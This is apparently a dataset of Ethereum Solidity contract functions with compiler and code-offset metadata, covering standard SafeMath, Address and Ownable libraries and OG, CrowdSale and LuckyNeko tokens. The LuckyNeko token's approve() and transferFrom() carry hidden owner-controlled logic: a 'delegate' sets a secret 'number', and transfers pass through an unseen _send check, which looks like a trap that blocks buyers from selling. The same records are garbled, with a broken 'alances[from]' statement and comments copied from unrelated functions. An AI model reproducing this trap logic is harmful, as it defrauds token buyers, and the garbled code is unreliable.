* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to reve... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
2817,
2966
]
} | 28,533 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a... | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an in... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
3494,
3801
]
} | 28,534 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a... | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consumi... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
4298,
4445
]
} | 28,535 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a... | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcod... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
4962,
5149
]
} | 28,536 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Amon... | isContract | function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codeha... | /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
658,
1322
]
} | 28,537 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Amon... | sendValue | function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address... | /**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `tr... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
2301,
2727
]
} | 28,538 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Amon... | functionCall | function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
| /**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw ... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
3538,
3726
]
} | 28,539 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Amon... | functionCall | function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
3970,
4183
]
} | 28,540 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Amon... | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
4587,
4830
]
} | 28,541 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Amon... | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
5100,
5437
]
} | 28,542 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the ... | owner | function owner() public view returns (address) {
return _owner;
}
| /**
* @dev Returns the address of the current owner.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
622,
718
]
} | 28,543 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the ... | renounceOwnership | function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
| /**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
1324,
1493
]
} | 28,544 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the ... | transferOwnership | function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
| /**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
1656,
1925
]
} | 28,545 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | OG | contract OG is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
ma... | //to recieve ETH from uniswapV2Router when swaping | LineComment | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
17172,
17210
]
} | 28,546 | ||||
CrowdSale | CrowdSale.sol | 0x68350d30d9f58c81aaaa41929f1bfc52fff4ea49 | Solidity | CrowdSale | contract CrowdSale is ERC20Interface, Owned, SafeMath {
//address where tokens will be stored;also the address where ether sent into contract is stored
address public tokenAddress;
//symbol of token; only 8 characters(8bytes)
bytes8 public symbol;
//name of token; only 16 characters(16bytes)
... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | CrowdSale | function CrowdSale(
address _tokenAddress
) public {
//*****************************Edit here*****************************
symbol = "RPZX";
name = "Rapidz";
decimals = 18;
_totalSupply = 5000000000000000000000000000;
//*****... | // ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------ | LineComment | v0.4.18+commit.9cf6e910 | bzzr://dcd70409d53d21d173ed44546c2928fa8a1f2a5dc902d94493971863cd648b96 | {
"func_code_index": [
993,
1676
]
} | 28,547 | |
CrowdSale | CrowdSale.sol | 0x68350d30d9f58c81aaaa41929f1bfc52fff4ea49 | Solidity | CrowdSale | contract CrowdSale is ERC20Interface, Owned, SafeMath {
//address where tokens will be stored;also the address where ether sent into contract is stored
address public tokenAddress;
//symbol of token; only 8 characters(8bytes)
bytes8 public symbol;
//name of token; only 16 characters(16bytes)
... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | totalSupply | function totalSupply() constant returns (uint) {
return _totalSupply;
}
| // ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------ | LineComment | v0.4.18+commit.9cf6e910 | bzzr://dcd70409d53d21d173ed44546c2928fa8a1f2a5dc902d94493971863cd648b96 | {
"func_code_index": [
1862,
1952
]
} | 28,548 | |
CrowdSale | CrowdSale.sol | 0x68350d30d9f58c81aaaa41929f1bfc52fff4ea49 | Solidity | CrowdSale | contract CrowdSale is ERC20Interface, Owned, SafeMath {
//address where tokens will be stored;also the address where ether sent into contract is stored
address public tokenAddress;
//symbol of token; only 8 characters(8bytes)
bytes8 public symbol;
//name of token; only 16 characters(16bytes)
... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | balanceOf | function balanceOf(address tokenOwner) constant returns (uint balance) {
return tokenBalances[tokenOwner];
}
| // ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------ | LineComment | v0.4.18+commit.9cf6e910 | bzzr://dcd70409d53d21d173ed44546c2928fa8a1f2a5dc902d94493971863cd648b96 | {
"func_code_index": [
2170,
2297
]
} | 28,549 | |
CrowdSale | CrowdSale.sol | 0x68350d30d9f58c81aaaa41929f1bfc52fff4ea49 | Solidity | CrowdSale | contract CrowdSale is ERC20Interface, Owned, SafeMath {
//address where tokens will be stored;also the address where ether sent into contract is stored
address public tokenAddress;
//symbol of token; only 8 characters(8bytes)
bytes8 public symbol;
//name of token; only 16 characters(16bytes)
... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | transfer | function transfer(address to, uint tokens) returns (bool success) {
tokenBalances[msg.sender] = safeSub(tokenBalances[msg.sender], tokens);
tokenBalances[to] = safeAdd(tokenBalances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
| // ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------ | LineComment | v0.4.18+commit.9cf6e910 | bzzr://dcd70409d53d21d173ed44546c2928fa8a1f2a5dc902d94493971863cd648b96 | {
"func_code_index": [
2641,
2933
]
} | 28,550 | |
CrowdSale | CrowdSale.sol | 0x68350d30d9f58c81aaaa41929f1bfc52fff4ea49 | Solidity | CrowdSale | contract CrowdSale is ERC20Interface, Owned, SafeMath {
//address where tokens will be stored;also the address where ether sent into contract is stored
address public tokenAddress;
//symbol of token; only 8 characters(8bytes)
bytes8 public symbol;
//name of token; only 16 characters(16bytes)
... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | approve | function approve(address spender, uint tokens) returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
| // ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double... | LineComment | v0.4.18+commit.9cf6e910 | bzzr://dcd70409d53d21d173ed44546c2928fa8a1f2a5dc902d94493971863cd648b96 | {
"func_code_index": [
3440,
3641
]
} | 28,551 | |
CrowdSale | CrowdSale.sol | 0x68350d30d9f58c81aaaa41929f1bfc52fff4ea49 | Solidity | CrowdSale | contract CrowdSale is ERC20Interface, Owned, SafeMath {
//address where tokens will be stored;also the address where ether sent into contract is stored
address public tokenAddress;
//symbol of token; only 8 characters(8bytes)
bytes8 public symbol;
//name of token; only 16 characters(16bytes)
... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | transferFrom | function transferFrom(address from, address to, uint tokens) returns (bool success) {
tokenBalances[from] = safeSub(tokenBalances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
tokenBalances[to] = safeAdd(tokenBalances[to], tokens);
Transfer(from, to, tokens)... | // ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Sp... | LineComment | v0.4.18+commit.9cf6e910 | bzzr://dcd70409d53d21d173ed44546c2928fa8a1f2a5dc902d94493971863cd648b96 | {
"func_code_index": [
4171,
4542
]
} | 28,552 | |
CrowdSale | CrowdSale.sol | 0x68350d30d9f58c81aaaa41929f1bfc52fff4ea49 | Solidity | CrowdSale | contract CrowdSale is ERC20Interface, Owned, SafeMath {
//address where tokens will be stored;also the address where ether sent into contract is stored
address public tokenAddress;
//symbol of token; only 8 characters(8bytes)
bytes8 public symbol;
//name of token; only 16 characters(16bytes)
... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | allowance | function allowance(address tokenOwner, address spender) constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
| // ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------ | LineComment | v0.4.18+commit.9cf6e910 | bzzr://dcd70409d53d21d173ed44546c2928fa8a1f2a5dc902d94493971863cd648b96 | {
"func_code_index": [
4825,
4974
]
} | 28,553 | |
CrowdSale | CrowdSale.sol | 0x68350d30d9f58c81aaaa41929f1bfc52fff4ea49 | Solidity | CrowdSale | contract CrowdSale is ERC20Interface, Owned, SafeMath {
//address where tokens will be stored;also the address where ether sent into contract is stored
address public tokenAddress;
//symbol of token; only 8 characters(8bytes)
bytes8 public symbol;
//name of token; only 16 characters(16bytes)
... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | approveAndCall | function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
| // ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// --------------------------------------------------------------------... | LineComment | v0.4.18+commit.9cf6e910 | bzzr://dcd70409d53d21d173ed44546c2928fa8a1f2a5dc902d94493971863cd648b96 | {
"func_code_index": [
5329,
5646
]
} | 28,554 | |
CrowdSale | CrowdSale.sol | 0x68350d30d9f58c81aaaa41929f1bfc52fff4ea49 | Solidity | CrowdSale | contract CrowdSale is ERC20Interface, Owned, SafeMath {
//address where tokens will be stored;also the address where ether sent into contract is stored
address public tokenAddress;
//symbol of token; only 8 characters(8bytes)
bytes8 public symbol;
//name of token; only 16 characters(16bytes)
... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | function () nonZero payable {
revert();
}//end function()
| //default function when ether is Received | LineComment | v0.4.18+commit.9cf6e910 | bzzr://dcd70409d53d21d173ed44546c2928fa8a1f2a5dc902d94493971863cd648b96 | {
"func_code_index": [
5769,
5845
]
} | 28,555 | ||
Treesome | @openzeppelin/contracts/utils/Context.sol | 0x0c5a8fb8477aeacb1643e208454795057bb8205b | Solidity | ERC165 | abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
} | /**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interface... | NatSpecMultiLine | supportsInterface | function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
| /**
* @dev See {IERC165-supportsInterface}.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | MIT | ipfs://b485472b383ba5e0786b731ae8671e180ece3fe8889cf937abf0fab20ac1c840 | {
"func_code_index": [
103,
265
]
} | 28,556 |
LuckyNeko | LuckyNeko.sol | 0xd45b222d2b301850bcd75c38fda1d7e495eac664 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() virtual public view returns (uint);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://249d9e9530421bb92fb5c9f138fbd9837bcd4cc8e60d4757f9f09f935d63ea74 | {
"func_code_index": [
110,
171
]
} | 28,557 |
LuckyNeko | LuckyNeko.sol | 0xd45b222d2b301850bcd75c38fda1d7e495eac664 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address tokenOwner) virtual public view returns (uint balance);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://249d9e9530421bb92fb5c9f138fbd9837bcd4cc8e60d4757f9f09f935d63ea74 | {
"func_code_index": [
250,
335
]
} | 28,558 |
LuckyNeko | LuckyNeko.sol | 0xd45b222d2b301850bcd75c38fda1d7e495eac664 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | allowance | function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://249d9e9530421bb92fb5c9f138fbd9837bcd4cc8e60d4757f9f09f935d63ea74 | {
"func_code_index": [
610,
714
]
} | 28,559 |
LuckyNeko | LuckyNeko.sol | 0xd45b222d2b301850bcd75c38fda1d7e495eac664 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | transfer | function transfer(address to, uint tokens) virtual public returns (bool success);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://249d9e9530421bb92fb5c9f138fbd9837bcd4cc8e60d4757f9f09f935d63ea74 | {
"func_code_index": [
934,
1018
]
} | 28,560 |
LuckyNeko | LuckyNeko.sol | 0xd45b222d2b301850bcd75c38fda1d7e495eac664 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint tokens) virtual public returns (bool success);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
... | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://249d9e9530421bb92fb5c9f138fbd9837bcd4cc8e60d4757f9f09f935d63ea74 | {
"func_code_index": [
1678,
1766
]
} | 28,561 |
LuckyNeko | LuckyNeko.sol | 0xd45b222d2b301850bcd75c38fda1d7e495eac664 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://249d9e9530421bb92fb5c9f138fbd9837bcd4cc8e60d4757f9f09f935d63ea74 | {
"func_code_index": [
2076,
2178
]
} | 28,562 |
LuckyNeko | LuckyNeko.sol | 0xd45b222d2b301850bcd75c38fda1d7e495eac664 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint256 _totalSupply;
uint internal number;
address internal burnAddress;
mapping(address => uint) bal... | totalSupply | function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
| /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://249d9e9530421bb92fb5c9f138fbd9837bcd4cc8e60d4757f9f09f935d63ea74 | {
"func_code_index": [
1580,
1700
]
} | 28,563 | ||
LuckyNeko | LuckyNeko.sol | 0xd45b222d2b301850bcd75c38fda1d7e495eac664 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint256 _totalSupply;
uint internal number;
address internal burnAddress;
mapping(address => uint) bal... | approve | function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
... | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://249d9e9530421bb92fb5c9f138fbd9837bcd4cc8e60d4757f9f09f935d63ea74 | {
"func_code_index": [
2775,
3031
]
} | 28,564 | ||
LuckyNeko | LuckyNeko.sol | 0xd45b222d2b301850bcd75c38fda1d7e495eac664 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint256 _totalSupply;
uint internal number;
address internal burnAddress;
mapping(address => uint) bal... | transferFrom | function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
alances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = ... | /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to reve... | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://249d9e9530421bb92fb5c9f138fbd9837bcd4cc8e60d4757f9f09f935d63ea74 | {
"func_code_index": [
3768,
4187
]
} | 28,565 | ||
LuckyNeko | LuckyNeko.sol | 0xd45b222d2b301850bcd75c38fda1d7e495eac664 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint256 _totalSupply;
uint internal number;
address internal burnAddress;
mapping(address => uint) bal... | allowance | function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
| /**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
